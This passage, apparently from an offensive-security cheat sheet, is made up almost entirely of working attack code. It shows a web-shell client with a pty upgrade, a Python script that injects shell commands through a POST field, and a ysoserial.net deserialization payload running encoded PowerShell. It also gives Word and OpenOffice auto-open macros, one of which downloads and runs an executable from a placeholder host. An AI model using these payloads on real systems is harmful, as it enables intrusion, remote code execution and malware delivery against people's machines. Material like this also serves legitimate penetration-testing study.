b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf-8')).decode('utf-8')
stage_cmd = f'echo {b64cmd} | base64 -d > {self.stdin}'
self.RunRawCmd(stage_cmd)
time.sleep(self.interval * 1.1)
def UpgradeShell(self):
UpgradeShell = """python3 -c 'import pty; pty.spawn("/bin/bash")'"""
self.WriteCmd(UpgradeShell)
prompt = "sh3ll> "
S = WebShell()
while True:
cmd = input(prompt)
if cmd == "upgrade":
prompt = ""
S.UpgradeShell()
else:
S.WriteCmd(cmd)
06. SimpleShell
For post request. (use if firewall block any kind of reverse shells)
import re
import html
import requests
from cmd import Cmd
## Replace the url here!
url="http://10.10.10.127/select"
class Terminal(Cmd):
prompt = '$hell: '
def default(self, args):
output = RunCmd(args)
print (output)
def RunCmd(cmd):
## Replace post data here! (ex: db=a;id)
data = { 'db' : f'a; echo -n "sel01"; {cmd}; echo -n "sel02"'}
r = requests.post(url,data=data)
page = html.unescape(r.text)
results = re.search('sel01(.*?)sel02',page, re.DOTALL)
if results:
return results.group(1)
else:
return 1
term = Terminal()
term.cmdloop()
07. Deserialize Payloads.
07.1 DotNet (ysoserial.net)
ObjectDataProvider
.\ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -c 1 10.10.14.25" -o raw
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c powershell -EncodedCommand <command>"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
08. Macro / RTF / SCF
08.1 MS Macro
Simple script
Sub AutoOpen()
MacroName
End Sub
Sub Document_Open()
MacroName
End Sub
Sub MacroName()
CreateObject("Wscript.Shell").Run "powershell -EncodedCommand SQBFAF..gBlA=="
End Sub
Download and Execute
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://<HostIP>/<FileName>", False
xHttp.Send
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile "file.exe", 2
End With
Shell ("<FileName>.exe")
End Sub
08.2 OO Macro
use exploit/multi/misc/openoffice_document_macro
Sub OnLoad
Shell("cmd.exe /c ping <IP>")
End Sub
Sub OnLoad
Dim os as string
os = GetOS
If os = "windows" OR os = "osx" OR os = "linux" Then
Exploit
end If
End Sub
Sub Exploit
Shell("cmd.exe /c ping <IP>")
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = "windows"
case 3: